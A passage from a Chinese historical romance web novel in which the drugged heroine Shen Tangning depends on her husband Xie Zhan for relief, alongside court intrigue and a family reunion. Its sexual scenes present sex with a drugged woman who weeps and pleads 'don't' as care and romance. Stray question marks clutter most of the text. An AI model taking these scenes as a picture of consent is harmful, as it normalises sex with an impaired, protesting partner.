可他的手掌和手指都充满了男人该有力量,…………………………像是要窒息,夹杂着痛楚,又?令她十分?快乐,不像她的手…… 不,不,我在想什么?! 这时,门外传来?锦书与男人低沉的对话声。 “夫人睡下了?”谢瞻问。 “睡下了。” “白日她如何,食欲如何,可有吃药?”谢瞻又?问。 锦书回道:“巳时吃过一膳,药也都吃下了,奴婢……” 后?面的话,沈棠宁就听不到了。 她陷入了半昏迷半清醒的状态。 直到突然开门的声音将她惊醒,沈棠宁心脏漏了一拍,继而更加急速地?跳动了起来?。 她急忙死死地?咬住唇瓣,抑制住想要发?出那种声音的冲动,把被子拉高盖住自己滚烫通红的脸。 谢瞻进来?后?,怕吵醒她,便只点了一盏灯放在床头。 沈棠宁背对他躺着,他压低脚步声走到床边,见她身上盖着一层厚厚被子。 入秋后天气就逐渐凉渗了下来?,沈棠宁身体娇弱,既怕冷又?怕热,谢瞻便并未多想。 适才锦书告诉他,沈棠宁压根不记得昨晚的事情,只是问过她三?次世子何时回来?,言谈之间?神情也不似作伪。 她能忘记了,也是一件好事。 谢瞻看了她片刻,灭了灯,关门走了出去。 他一离开,沈棠宁就再也忍不住了,推开被子大口大口喘息着。 身体里空虚感几乎要将她的所有理智都尽数燃烧殆尽,她听到自己又?发?出了那种令人羞耻的叫声。 慌乱间?,她似乎看见一个人影快步朝她走了过来?……- 谢瞻听到屋内发?出异样的声音,立即转身冲进了屋里。 他掀开纱帐,一线月光射入了帐中?,映照在床上女子晕红如火的双颊上,被子被踢到了床尾,浑身上下只着一件粉绿色的肚兜,她半趴在床铺上哀哀地?呻.吟着,两条细白的腿儿?难耐地?交缠在一处。 “团儿?!团儿?!” 谢瞻心神一震,连忙握住她的双肩,将她翻过身来?。 她早已泪流满面,含糊不清地?呜咽道:“我是怎么了?我,我是不是要死了,呜呜……” “对不起,对不起团儿?。” 谢瞻眼?底是深深的自责与心疼。他抱着她说:“是我没能保护好你。” 他将沈棠宁轻轻放到床上。 沈棠宁痛苦地?摇头。 衣衫尽数掉落在床前?,露出男人精壮结实的身体。 他低头吻过来?时,她绝望地?偏过了头去,泪水顺着脸颊滚到枕上。 下巴忽然吃痛,谢瞻掰过她的脸,迫使?她抬起头直视着他。 “团儿?,就算你恨我,我也绝不可能让你去找别的男人!”他幽黑的凤眸看着她,声音一字一句,却已经隐隐透出了沉怒的味道。 这样霸道强硬的谢瞻,令沈棠宁想起了宗缙,那个阴险狠辣,险些强迫了她的男人,以及和谢瞻那屈辱的一次……通通都是不愉快的回忆。 其?实她已经能够猜到,她会变得如此放浪不顾羞耻,恐怕与那晚在太原宫中?她被强灌下喝的东西脱不了干系。 一瞬间?,惶恐,害怕,羞耻齐齐涌上心头,可是身体却不容她的理智做出反应。 “我,我不想再有身孕……”她颤声哀求他。 谢瞻顿了一下,从她胸口抬起头,意味不明地?看着她。 “不会的。”他摸了摸着她的头。 ………………………………………………………………………………………… 沈棠宁将身子自暴自弃地?缩了起来?,对着墙角伤心地?抹泪儿?。 谢瞻的手刚伸过来?,落在她的胳膊上,就被她“啪”的一下打了回去。 默了片刻,谢瞻的声音在她背后?响起。 “还要吗?” 沈棠宁的脸,一阵红,一阵白。 她说不出话,双腿却紧紧地?蜷缩在了一起,无?意识地?蹭着。 过了片刻,后?背贴覆上男人坚硬汗湿的胸膛。谢瞻从背后?搂住她,一臂绕到她的面前?。 她看不见他的脸,耳畔却是他越来?越粗重的呼吸声。一开始,她像只受惊的小兔,无?措地?摇头,口中?哭哼着。 然而男人强大的臂力又?令她动不了分?毫,接着低头含吻她的耳垂,轻抚她僵硬的身体。 渐渐地?,沈棠宁就停止了抗拒和挣扎,无?意识地?抠住他的臂,湿润的水眸迷离地?看着墙壁上一晃一晃的彩绘鸳鸯。 ………………………………………………………………………………………………………………………………………… 谢瞻用?帕子擦干净手,给怀中?已经昏睡过去的妻子轻轻盖上了被子。 他知道她很害羞,却因为药力发?作不得不默许他对她那样做,所以过程中?,她始终不肯睁眼?正面看他。 但在她睡着之后?,他终于可以仔细地?观察她了。 谢瞻眼?睛一眨不眨地?盯着她,贪婪而反复地?在脑海中?勾勒回忆着她的眉眼?,想象着她此刻就被他搂在怀中?。 因刚那一场情事,她已是累极,脸蛋粉扑扑的,濡湿的发?紧贴在脸颊两侧,眼?圈也红红,像一朵被蹂躏过牡丹花娇美可怜。 谢瞻命人抬了热水进来?,给两人都洗了干净,而后?抱着熟睡的沈棠宁,一道沉沉睡去。 …………………………………………………………………………………………………………………………………… 一大早,谢瞻果然人又?没了影。 那晚给沈棠宁开药的大夫一大早就过来?了,把过脉后?重新给开了方子。 沈棠宁欲言又?止,几次想开口询问她目前?的情况,却又?羞于启齿。 老大夫眉眼?通挑,毕竟做大夫的,最要机灵,忌多言多语。 且谢瞻嘱咐过他,让他一概不许多问病人隐私,除非她自己愿意开口。 如果她不好意思问,就把她的病况委婉告之,莫要令她感到难堪。 这样漂亮的小媳妇,也难怪那包藏祸心人给她下虎狼之药了。 老大夫主动说道:“夫人,老夫只是个乡野大夫,行医数十年,勉强算见多识广,认识过一种来?自漠北的毒药,以天蚕蛾为原料所制而成。这种毒后?来?被贩卖到中?原,专门用?于妇女身上,掺入酒中?服用?,药效则更盛。” “天蚕蛾性淫,常于每晚夜深人静时与雄蛾媾和□□,因此服下后?,中?毒者?通常夜间?发?病,难以自控,非与人行夫妻之事不能解此毒。” 原来?如此,看来?宗缙的宫女那夜给自己喂下的,便是这天蚕蛾了。 沈棠宁死死地?捏着掌心。 真恨那日没能一刀杀了宗缙,然事已至此,她不得不强压住面上的难堪问:“前?一日,我已然……已行了夫妻之事,为何昨夜还是会发?病?” 老大夫叹道:“这便是研制此毒难解之处!此毒唯有服下解药,方算解毒,否则每晚都会发?作,时日一长,即使?解毒,女子却会染上如天蚕蛾一般的天性,再离不得男人,因此常用?于青楼楚馆之中?调教少女。” “姑娘,吃药了,还是趁热吃了好。” 老大夫走后?,锦书把煎好的药端到沈棠宁面前?,看着自家姑娘郁郁寡欢的模样,心疼极了。 “姑娘,那周大夫说了,世间?万物相生相克,他行医数十年,就算他找不到,咱们世子神通广大,他也一定能找到的!”锦书安慰道。 沈棠宁一语不发?,将药一饮而尽。 郭夫人前?两日就听说沈棠宁跟着谢瞻来?了灵武,知道她身体不适,特意挑了下午的时候与卢夫人带着药来?探望她。 三?人可称得上是患难之交了,见到她们沈棠宁自然欢喜,人也难得有了几分?精神。 从二人口中?她方得知,原来?在她中?途被宗瑁掳走之后?,谢瞻竟并未按照圣旨迎娶靖安公主。 郭卢两位夫人看沈棠宁脸色确实不好,笑?容勉强,人更比先?前?消瘦不少,就像薄薄的一页纸,风一吹就能飘了。 郭夫人以为她是在为谢瞻抗旨一事担忧成疾,出言安抚道:“自今年春宗张之乱起,天下生灵涂炭,民不聊生,陛下如今正是用?人之时,临远是陛下的亲侄子,一家人不说两家话,就算是看在孝懿皇后?的面上,也不会轻易将他治罪。” 郭夫人说到此处,不由?感慨道:“当年因为耿老将军,我家老爷与临远本有龃龉,可为了对付宗张叛乱,两人勠力同心,握手言和。我看的出来?,你的夫君并不是只有匹夫之勇的男子,团儿?,你作为妻子,要有信心他能处置好这一切,男人们在战场上拼死保家卫国,咱们就别让他为这些事情烦心了。”拍了拍沈棠宁的手。 郭夫人离开后?,沈棠宁才不解地?问卢夫人郭夫人刚刚说的那话是什么意思。 她之前?一直以为谢瞻与郭尚关系极好,怎么听郭夫人那话里话外的意思,两人似乎先?前?关系十分?不和? 卢夫人讶然道:“这事你竟不晓得?那你知不知道,当年你夫君和郭将军哪怕同桌吃饭,两人可是一眼?都不睬对方一下的,这事在军中?都传遍了呢!” 至于为何嫌隙成这样,情况颇为复杂,卢夫人就不晓得内情了。 她与沈棠宁年纪相差不大,丈夫卢坤义今年也跟随谢瞻立下赫赫战功,因此卢夫人心里是把沈棠宁视为亲姐妹的。 见她连听到耿老将军的名字都有些茫然,卢夫人不禁嗔怪她道:“团儿?,不是我说你啊,小谢将军都敢为了你抗旨,你怎么能连耿老将军都不认识呢?耿老将军那是小谢将军的恩师,他的箭术就是跟着耿老将军学的,连我都晓得。” “当年耿老将军被贬辽东,你夫?*君他在金銮殿前?跪了整整两天两夜,惹得陛下震怒,险些被革职……” 沈棠宁觉得自己挺冤的,谢瞻抗旨又?不是为了她,明明是他自个儿?不愿娶公主,可郭夫人和卢夫人就认定了谢瞻是一心一意为了她。 郭夫人那话怪她矫情,卢夫人这话又?责备她不体谅夫婿,她怎么就这么冤呢! 想和卢夫人解释,偏解释了后?面的话又?圆不下去,总不能把她给了谢瞻一封和离书离开河北,途中?被宗瑁劫走的事情告诉卢夫人。 她和卢夫人关系是不错,但一个美貌的女子被叛军掳走之后?的结果可想而知,即使?她知道自己清清白白,旁人却不会这样去想。 就连谢瞻也…… 沈棠宁最开始是伤心,现在是既伤心又?气闷,连晚饭都吃不下去。 在床上偷偷掉了半天眼?泪,听锦书说谢瞻回来?了,沈棠宁一惊,她本以为谢瞻还会像昨晚那样深夜回来?,没想到他今晚回来?这么早,连忙擦干眼?泪把被子蒙到脸上。 却说谢瞻今日特意早早回来?,一看她又?像个鹌鹑似的把自己缩到被子里,误以为她发?病了,冲上来?就去掀她的被子。 沈棠宁不敌他的反应速度和力气,被他压着双腿猝不及防掀了被子。 四目相对,她瞪大了一双泛着水光的杏眼?,看着眼?前?他那张放大的俊脸。 紧接着,他的大手不由?分?说就捧起了她的脸凑过来?打量。 沈棠宁惊慌失措地?闭上眼?。 眼?圈红红的,看起来?是又?偷抹泪儿?了。 脸蛋白里透红,不过似乎只是因为窘迫和刚才两人的打闹。 她若是发?病,眼?神会变得妩媚迷离,不像此刻,眼?神依旧是清凌凌。 谢瞻紧皱的剑眉逐渐缓和下来?。 “又?偷偷哭鼻子了?” 他声音里充满了揶揄的笑?意。 沈棠宁唇动了动,没理他,撇过头去。 谢瞻翻了个身,从她身上下来?,枕着双手躺在她的身旁。 “锦书说你一天问三?次我何时回来?,怎么我真回来?了,你连看都不看我一眼??” 沈棠宁依旧闭着眼?。 谢瞻继续说道:“我现在给你机会,有什么要对我说的话赶紧说。” 沈棠宁犹豫了一下。 “居庸关一役后?,宗张元气大伤,与我军暂时休战,陛下命我乘胜收复失地?,我明日会去攻打邯郸,如果回不来?……” 沈棠宁的心都提到了嗓子眼?儿?,等着谢瞻的下文。 等了半天,等到的却是谢瞻细微的鼾声。 他,他居然就这样睡着了! 沈棠宁不免担心地?想道:他要是明天不回来?了,我该怎么办? 想着她就掀开了眼?皮,岂料谢瞻根本没睡,他装的逗她。 两人是相对而卧,谢瞻离她不过就两三?个拳头的距离,见她忙又?要闭眼?,立马上前?来?挠她的腋窝。 沈棠宁便被他挠得笑?出了眼?泪,在床上翻来?滚去,最后?只能可怜巴巴地?向他求饶,“我错了,我错了,阿瞻饶了我……” 谢瞻笑?着哼了一声。 “你还闭不闭眼??” “不……哈哈……不……呜呜……” 再挠她就真该哭了,谢瞻见好就收。 沈棠宁是不敢闭眼?了,却也不敢去看他。 她曾亲眼?见过郭氏惩治一个爬床的丫鬟,唾骂这丫鬟勾引叔父的时候搔首弄姿,就像……像浪荡的娼妇,勾栏里妓女。 在这之前?,她与谢瞻的关系仅止步于朋友,朋友之间?突然做出那种亲密之事,本就叫她一时难以接受。 而她也清楚地?知道,在他的面前?发?病的时候,他是个正常人,她却是丑态毕露,活脱脱娼.妇的模样。 沈棠宁很难过,让她突破心里的那道障碍去坦然地?面对谢瞻,她根本就做不到。 不过两人这么打闹一番,沈棠宁确实没有前?两日那么紧张了。 而且有些话,她也的确在心里憋了很久,总不能就这么一直当鸵鸟下去。 “你,为何抗旨不娶公主?” 谢瞻懒懒道:“你还不知我的脾气,狂悖无?礼目中?无?人,娶公主岂不是娶了尊大佛,我谢瞻难不成还能欺负金枝玉叶?我还是比较喜欢欺负你!” “你……你!” 沈棠宁不禁气结。 公主不能欺负,她就好欺负了? 转念一想,谢瞻明明是又?从宗瑁手中?救了她,这人嘴上总说欺负她,实际上每回她遇险,都是他及时赶来?救了她。 这次在太原宫,若不是白蹄乌出现带她冲出宫门,她怎么可能轻而易举从宗缙父子眼?皮子底下逃走。 况,她知谢瞻虽然性情狂傲,但绝不是那等糊涂之人,很快就平心静气下来?。 “你和我说实话吧,阿瞻,你不肯娶公主,是不是还有别的缘故?”她低声道。 谢瞻垂目看着她。 或许只有此时此刻,在她不敢抬眼?与他对视的时候,他才敢这样放肆地?注视,一遍遍描摹她的眉眼?。 她怎么就想不明白呢?他数次拼了命地?救她,根本就不是因为他不想娶公主,不是因为他想找个贤淑的继室来?照顾女儿?,也不是因为他爱惜羽毛。 他谢瞻,从来?就是个肆意妄为的人,外人异样的眼?光,刻薄的议论,讥诮的嘲讽,他从不在意。 只是他同样不敢告诉她自己心底埋藏的那些情意,否则以她的性情,只怕到时候两人连朋友都没得做。 是他作茧自缚,却不敢再谈得陇望蜀。 谢瞻沉默片刻,面上收敛了所有嬉闹之色。 “你猜的不错,我不想娶公主的确有另有缘故。” 顿了下,他说道:“当年,我爹娘蒙先?帝赐婚,母亲乃是琅琊王氏的嫡女,父亲是镇国公世子,骁勇善战,年纪轻轻便立下赫赫战功。” “然成婚之前?,他们二人心中?却各有所属。成婚之后?,自然也曾有过恩爱的日子,生下了我,只是两心不同,又?谈何长久?” 自打谢瞻有记忆起,他母亲便与谢璁关系不和了。 两人虽不争吵,然话不投机,就连坐在一起,阖家团圆的时候都极少。 他的母亲不爱谢璁,自然对唯一的儿?子谢瞻也不上心。 她宁可外出看戏游玩,都不想面对与谢璁有六分?相似的谢瞻,那会令她回忆起她这一生糟糕的婚姻往事。 隆德十七年,年仅二十五岁的镇国公夫人在回琅琊老家祭祖时,恰逢山东契人降将叛乱,接连攻陷山东四座城池。 他的母亲被困于山东济宁,济宁城破,在逃出城外时被契人降将追上。 为了死得能够体面,他的母亲不得不选择跳了黄河自尽。 而谢瞻的父亲谢璁,为了保住家族名声,封锁了他母亲自尽的消息,只对外说她在老家琅琊急病而死。 “我与那位靖安公主,不过几面之缘,如何结璃?我不愿用?婚事做筹码,是不想重蹈我爹娘的覆辙,与公主成为一对怨侣。那时这桩赐婚,不但成不了赏赐,更是成为了枷锁,效果适得其?反。所以团儿?,我不会娶她。” “但你放心,我也绝不会强求你,这一切,我都已与陛下言明。” “如果……我是说如果,这毒解不了怎么办?”沈棠宁问。 “我说能解,就一定能解。你放心,我已命长忠去契国寻找解毒之法,想必用?不了多久,你现在要做的,便是耐心等待。” 说着,他温热的大掌也安抚似的握住了她的手。 沈棠宁认真地?听他讲话,眼?睛便不由?自主地?追随着他。 刚开始,他的神情很沉重,越说到中?间?,他的话语和眼?神却逐渐变得轻松柔和了起来?。 到最后?,他那张冷峻的脸上笑?容也没了,只余一对凤目灼灼地?盯视着眼?前?的她,眼?底升腾起炽热的,滚烫的,她看不懂却又?令她胆战心惊的晦暗之色。 谢瞻不说话和办正事时,身上总比寻常人多了十分?不怒自威的威严气势。 此刻他就这么一语不发?,掌心滚烫的温度……以及他眼?底深处翻涌的幽黑,显得是那么得压迫和咄咄逼人,沈棠宁抑制不住地?呼吸困难,半边的身子都为之害怕、颤栗了起来?。 她才意识到自己竟一直在注视着他,慌忙垂下了眼?,心口跳动得犹如惊兔,脸颊也情不自禁得烧红了起来?。 “团儿?,夜深了。” 谢瞻抬起手轻轻抚摸着她泛红娇美的面庞,哑声提醒道。 ……………………………………………………………………………………………………………………… 第58章 见她没有抵触之意,只是微微瑟缩了下身子,男人?炽热灼烈的气息,得寸进?尺地慢慢靠了过来,一手?一个脱掉了她的绣鞋。 沈棠宁眼睫一颤,足背却?也被他牢牢攥在掌中,心底忽然生出无限的迷茫。 谢瞻,为何是他,为何偏偏是他…… 可不是他,还能有是谁? 如今两人?已经发生了最亲密的事……不,是早就有过肌肤之亲,甚至连圆儿都生了下来,她再反悔谁又能帮她解这可怕的毒呢? 但他说的那些话,她又总觉得有哪里不太对。 就算他的抗旨之罪隆德帝不追究,但他一夜之间出现?在太原,是隆德帝的命令,还是为了她? 强忍着羞耻和身体内因天?蚕蛾而涌出的渴望,沈棠宁按住了他的手?。 “阿瞻,你……嗯……你没有骗过我吧?” “没吧。” 谢瞻含糊道,他正在兴头上,哪里理会沈棠宁说什么,拨开她的手?便强硬地按在了枕上。 沈棠宁动不了,理智与羞耻感?逐渐被天?蚕蛾腐蚀啃噬,她也放弃了挣扎,柔顺地闭上眼睛。 她喃喃道:“可,你,你刚说、你……明天?……不回来了……啊!” 她的不专心,叫谢瞻不是很高兴。 手?上突然使了点力气,惹得怀里的人?儿不由?自主娇呼了起来。 沈棠宁想捂住自己?的嘴,不想听到自己?再发出这种?声音,奈何她的两只手?腕都被谢瞻紧紧按住,只能无助地,泪眼汪汪地蹙起了眉。 “别,阿瞻,别这样……”她无力地挣扎着哀求。 “我不回来了,谁给你解毒,难道你自己?来?” 良久,谢瞻终于放下了沈棠宁的小腿。 他一面揉捏着她软绵绵的小腿肉,一面在她耳边一本正经地道:“唔,夫人?这么一说,好像也不是不行?。” 沈棠宁满头大汗,虚脱一般地倒在枕上,抬眼果不其然看见这男人?一脸的浪荡坏笑地看着她,还将手?递到她的面前,眼中无不透漏着得意。 “你、你这坏蛋!” 沈棠宁顿时又气又羞,简直要气晕过去,想用脚去蹬他,却?被他灵活地攥住脚踝,覆在了身上再次摁住- “副使,您果真没猜错,谢临远去了灵武,如今正率领着三万周人?士卒驻扎此处。” 客栈中,一名周人?打扮,口中却?操着流利契语的男人?说道。 月光下,屋内没有点灯,被称作副使的男人?眉头紧皱,目光朝着西方的宁州投去。 最开始那男人?说道:“咱们大汗并非穷兵黩武之人?,这两年土勒对您的封地虎视眈眈,还多次在大汗面前中伤您,怂恿大汗派兵支援,拥戴宗景先为帝。” “宗景先与汗妃有杀子之仇不说,此人?阴险狡诈,绝非良善之辈,如今他被您伤了脏腑,如今就如同一只断掌的老虎,不如咱们私下找到谢临远,与他合作,必能为汗妃一举报仇,永绝后患!” 眼前这两位同为周人?打扮的男人?,不是旁人?,一个是察兰汗妃最信任宠爱的养子,西契的枢密院副使,天?威将军伯都,而另一个则是伯都忠心耿耿的下属拖剌。 土勒的家族乃西契贵族,也是默答的亲叔叔,如今位居丞相?,在西契可谓权势滔天?。 这两年土勒受了宗缙的好处,频繁在默答面前为宗缙说项 前不久那阔在居庸关被俘,宗缙的叛军更是被谢瞻与郭尚率领的朝廷军打得节节败退,宗缙不得不遣使者去西契面见土勒与默答,献上十万两真金白银请求默答能够拿出三万西契骑兵去山西支援他。 土勒自然是劝默答帮宗缙,以达到渔翁得利,浑水摸鱼之效。 遥想三百年前曾是契族统治中原,太祖皇帝参加农民起义军,竟硬是从一个讨饭的和尚登临九五,把统治了中原百余年的契人?驱逐回了漠北。 土勒认为,中原越乱,西契便越有可乘之机打回中原。 但察兰汗妃与土勒政见不同,也不仅仅是因为她的长子阿弥坦死在宗缙手?中,而是宗缙本为奚人?,为了高官厚禄却?认张元伦为义父,受隆德帝赏识后平步青云,不但不感?激反过头来却?背信弃旧主,谋朝篡位。 此等阴险狡诈之人?,绝不是能合作的伙伴。 默答对土勒的建议犹豫不决,然而宗缙也不是好得罪的,隆德帝暮年昏聩,太子又庸碌无能,徒有贤名。 谁知宗缙最终会不会扭转战局,若假以时日他成了气候,回过头来找西契算账也未可知。 是以默答两边都不欲得罪,只命土勒率领一万骑兵前去山西驰援宗缙。 伯都这次南下,正是奉察兰汗妃之命破坏西契与大燕的合作,取宗缙首级为死去的弟弟阿弥坦报仇。 “谢临远与我族有杀母之仇,他恐怕不会同意。” 与其把希望寄托在别人?身上,不如靠自己?,伯都淡淡说道:“听闻宗景先与其长子宗瑁素来父子关系不和。” 拖剌说道:“您的意思是?” 伯都低语几句,拖剌大喜,由?衷敬佩道:“将军放心,此事属下一定办妥!” 不提伯都预备如何离间宗瑁与宗缙父子关系,却?说半月前谢瞻收复了河北最后一座沦陷的城池,留下卢坤义镇守河北。 居庸关一战后宗缙与朝廷各自元气大伤,又因快要入冬,打仗行?事多有不便,故双方达成一致暂时休战。 既无战事,谢瞻便向?隆德帝请示,带上了沈棠宁和一百个侍卫,夫妻两人?准备回琅琊老家探望将近半年没有见过的女儿。 连着坐了将近半年的马车赶路,考虑到沈棠宁的身体,进?入山东境内后,谢瞻便改行?了水路。 虽然花费时间长一些,但至少不必每天?早起早睡地赶路,比陆路也更为安全?。 清晨风浪不大,熹微的晨光倾洒在碧蓝色水面上,正是难得的静谧时刻,而此刻主人?的船舱之中,却?蓦地发出一道物什掉落的刺响。 锦书正在煮茶,听到动静后连忙循声向?舱门走去。 经过窗户时,那窗户恰巧没掩严实,半扇窗敞开了,屋里发生的一切被经过的锦书看了个一清二楚。 锦书瞪大双眼。 只见自家姑娘的腰肢被姑爷两臂紧紧箍在怀中,压在墙上。 而姑爷似是刚刚练完拳回来,上半身没穿衣服,蜜色的手?臂上青筋紧绷,几乎是与姑娘的腰肢一样粗细。 被这样一双手?臂搂着,姑娘怎能动弹得了,她艰难仰头承受着,梳好的发髻散了乱了,耳边的珍珠坠子也随着男人?的动作一摇一晃。 她还在费力地去歪头挣扎,以至于娇嫩的唇瓣被男人?吸吮到变形。 她往何处躲,男人?便往何处堵她,堵得她脸蛋胭红如血,像那熟透了的蜜桃一样,口中发出“呜呜”的声音,双手?握拳抵在男人?的坚实宽阔的胸膛上。 只是这点力气显然姑爷是不在乎的,他的手?甚至还、还不顾姑娘的劝阻…… 锦书腾得就烧红了脸,不敢再窥探主子闺房事,猫下腰悄悄把窗户掩上,就匆匆逃开了。 屋里,沈棠宁近乎要窒息的时候,谢瞻才终于喘着粗气放开了她。 他一松手?,沈棠宁急忙背过身去系自己?的衣襟。 因为脑中发晕,她的手?颤了好几下都没把小衣的盘扣系上。 在这之前,沈棠宁一直不愿与谢瞻亲嘴。 可能是因为嘴巴离着脑袋最近,她觉得这是只有心意相?通的男女才能做的事,与谢瞻做起来,她浑身都不舒服。 但自从她中了天?蚕蛾之毒,与谢瞻有了肌肤之亲后,一切都变得不受她的控制了。 刚开始,她躲着不愿他亲,他也不勉强。 可这天?蚕蛾每回毒发,事到半途她都会神志不清,情不自禁,有几次清醒过来,谢瞻就在搂着她“啧啧”亲嘴,叫她真真羞愧欲死。 晚上也便算了,再后来,他白日里也要与她亲嘴儿,她不愿,他便说些不堪入耳的话来诱哄她,若不给他亲,他就一直说一直说。 譬如今早,他练完拳回来时她在梳妆,说自己?胸口的伤不大舒服,叫她给看看。 她自然紧张地凑到他胸口上看,趁她一不注意,就被这坏胚搂着亲了脸,说什么只亲一口,尝尝她的唇脂味儿,亲了一口,舌头又不顾她的挣扎伸到她的嘴巴里,说…… “宁宁,我来。” 察觉到颈后火热的鼻息袭来,沈棠宁身体一僵,以为他又要故技重施。 谢瞻靠过来,却?只是拨开她身后散落的发,替她系好系带,十指如梳,再给她一点点梳顺散下的如瀑青丝。 沈棠宁慌乱的心,逐渐平复了下来。 “我自己?来吧。”她有些不自在地道。 谢瞻手?中并不停。 “你头发太长,我先帮你梳顺了。” 沈棠宁以为他只是一时兴起,没想到这人?真耐着心帮她把打结的长发都理顺了,一点没扯疼她的头皮,还在身后还编了个辫子,得意地问她编的如何—— 当?然,她一点都不喜欢他编的这个辫子,又粗又丑,中间几股好编错了,他硬要编,编的实在太难看了。 “你也帮我梳。” 编完辫子,谢瞻把小银梳塞到她手?里。 沈棠宁用手?理了理他的鬓角。 “你头发都没乱,不用梳。”她敷衍着道。 谢瞻不管,背对着她坐好,勒令她快些。 沈棠宁觉得他有时候就跟个小孩子似的,无奈地帮把他头顶上的发冠拆了打散,走到他面前低下头端详,看他鬓角有没有碎发,捋到后面去。 谢瞻突然搂住她的腰,又趁机在她香腮上香了一大口。 沈棠宁没站稳,“啊”了一声扑坐到了他的腿上。 “别胡闹,还没梳好呢。” 她有些窘迫,轻轻捶了他一下。 明媚的日光从窗外?射入屋内,两人?背光而坐,那日光尽数洒落在了她细白如瓷的脸蛋上,使她整个人?都仿佛笼罩在一团朦胧柔美的光晕中。 就在这团光晕中,她笑了起来,杏眼弯成了月牙儿的形状,脸颊两侧犹染着适才亲吻时留下的淡淡绯红,美得不可方物。 谢瞻看着她,忍不住又凑近吻了一下她香软的脸蛋,用自己?挺拔的鼻梁蹭着沈棠宁秀气的鼻子。 “你笑什么?” 沈棠宁看他一直傻笑,很是不解。 不过这人?平素看着精明强干,眼下偶然流露的憨傻模样却?莫名像只摇着尾巴求主人?爱怜的大狗,竟倒也有几分可爱之处。 她不由?也跟着嫣然笑了起来。 谢瞻见她笑,又飞快地腆着脸凑过去亲了一口,这次还发出了很响的“啵”的一声。 在他准备亲第二个下的时候,沈棠宁挡住他的嘴巴。 “你再捣乱,我不给你梳了,你自己?梳吧!” 谢瞻慢吞吞“唔”了声,在她准备收回手?的时候,突然伸出舌尖在她掌心湿湿地舔了一下。 沈棠宁连忙收回手?,红着脸瞪他。 “坏胚,不给你梳了。” 她嘀咕道,去推他箍在她腰间的大手?,想从他腿上跳下去。 “反了天?,你说谁是坏胚?” 谢瞻忽然从后面圈住她的脖颈,将她向?后一箍,旋即以迅雷不及掩耳之势去挠沈棠宁的胳肢窝和脖颈。 沈棠宁躲闪不及,仰倒在了他的怀里。 她最怕痒,谢瞻发现?这一点后就特别喜欢挠她逗她,每次三两下就能把沈棠宁挠得笑出了眼泪,可怜巴巴地求饶。 “阿瞻,别,别……哥哥,好哥哥!别挠,我错了!”她求饶。 “你错哪儿了?” “我,我都错了……我真,真错了!” “世子,山西有人?递消息来。” 门外?的侍卫的声音打断了屋里笑闹的两人?。 谢瞻手?中一顿,松开了沈棠宁,抓起一件衣服披上。 “我马上回来。” 说完揉揉她的脑袋,转身走了两步,停下来看了她一眼,一笑,才快步走了出去。 沈棠宁用手?捂着自己?发烫的脸,将散开的衣服快速系好了。 “宗瑁……父子不和……” 隔壁两人?说话的声音传来。 隔壁书房中,谢瞻也收到了眼线从山西传来的密函。 “宗逆日渐暴虐恣睢,猜忌宗瑁,意图废太子。” 谢瞻烧了密信。 宗瑁自从瞎了右眼受了重伤之后,便不得不狼狈滚回到了大同养伤,脾气愈发暴躁。 他这个皇帝缠绵病榻,自然猜忌起羽翼日渐丰满的长子宗瑁。 沈棠宁不愿回忆在太原宫的那段日子,她不说,谢瞻也不好逼问。 但他在某一日从细作口中得知宗缙那晚突然去了太原宫,并将沈棠宁囚禁。 若非他及时赶到…… 谢瞻咬牙。 他真恨自己?那日没能一箭射死这个老色鬼! 不过现?在也不迟,因为只要他在其中小小地推波助澜一把,相?信过不了多久,整个天?下就能听到宗缙的死讯。 夺妻之仇,耿将军之冤……他一定,一定要让宗缙生不如死! 谢瞻立即写了一封密函交给信差,命其快马加鞭送到京都隆德帝手?中。 他要使的这个离间计,是需经过隆德帝的同意,不能自作主张。 做完一切,谢瞻还惦记着沈棠宁,三步并作两步从自己?的船舱中出来,进?了两人?卧房。 “宗瑁还在太原?” 沈棠宁已经重新梳妆完毕,见他走进?来主动问道。 她刚刚隐约听到了谢瞻与信差说话的声音 谢瞻眼中的笑意慢慢消失。 “好端端的,提他做什么?”他不动声色地坐下,给自己?倒了杯茶。 沈棠宁回道:“就随口问一问。” 好一个随口一问! 谢瞻郁闷地喝了一整杯的冷茶,仍是控制不住心里的火气。 从她口中听到别的男人?,不——是任何男人?的名字他都受不了。 “你倒是挺关心他,上回在太原宫,都舍不得我杀他,怎么,现?在是后悔了,觉得做太子妃也不错?”话说到最后,谢瞻的音调里都带上了几分尖锐。 他这话里的讥讽之意沈棠宁再听不懂,就是真的傻了。 她怔了一下,轻声说道:“我真的只是随口问问……在太原宫时,我发现?他与宗景先父子关系不和,有废太子之意。比起宗景先,他心中还是残存着几分善念,我是想你若能招安宗瑁,将引他回归正途,届时你也能兵不血刃……” “好了!这些事我自有分寸,你好好休息吧。” “砰”的一声,不及沈棠宁说完,谢瞻放下手?中的茶盏走了出去- 琅琊。 自这一日睁眼开始,温氏就频频询问陈妈妈女儿和女婿到了没有,听到一点动静,她都要下床走到仪门外?等人?。 终于在这日晌后,等到了女儿和女婿的到来。 温氏站在大门口,看着谢瞻扶下了沈棠宁,半年没见,她的眼睛在看到女儿的那一刻就忍不住湿润了。 女儿乌黑的发,瘦了一圈的巴掌小脸,黑亮清澈的杏眼,格外?红润的唇,显然是用心装扮了一番,似乎身量连也挺拔了不少。 母子相?见,自是相?拥而泣,沈棠宁与温氏分开,寒暄几句,听闻温氏视力已恢复十之五六,只不能见强光,忙不迭拉着温氏要进?屋,又问:“娘,圆儿呢!” 向?着温氏身后探头探脑。 温氏按着眼角担心地去看女婿,低声嗔沈棠宁道:“瞧你急的,都是当?娘的人?了,怎么还这样跟个孩子似的没形!快要入冬的天?,外?面这样冷,圆儿在屋里呢!” 谢瞻迎上丈母娘的目光,微微一笑,快步上前扶住了温氏。 “娘别怪团儿,都是一家人?,何必拘泥礼数,何况我这个当?爹的心里也想圆儿得紧。” 温氏放下了心里的一块石头。 想到女儿下车时略带别扭的眼神,女婿却?紧紧地攥住了女儿的手?将她扶下马车,一向?不情愿这桩婚事的女儿却?也未反抗,温氏心里不由?微松了口气,和陈妈妈引着两人?进?了屋去。 十月个大的圆姐儿在地上爬来爬去,温氏进?去忙把正在地上乱爬的小孙女抱起来。 圆姐儿生了一双葡萄似的丹凤眼,显然是随了她的爹爹,见到有陌生人?进?来,圆姐儿立马把小脑袋藏到了外?祖母的怀里,假哭几声,探出一双大眼睛好奇地瞅着面前陌生的两个人?。 看着女儿白白胖胖的小模样,沈棠宁泪水控制不住地夺眶而出。 天?知道,差一点,每回只差一点点她就要永远也见不到女儿了! 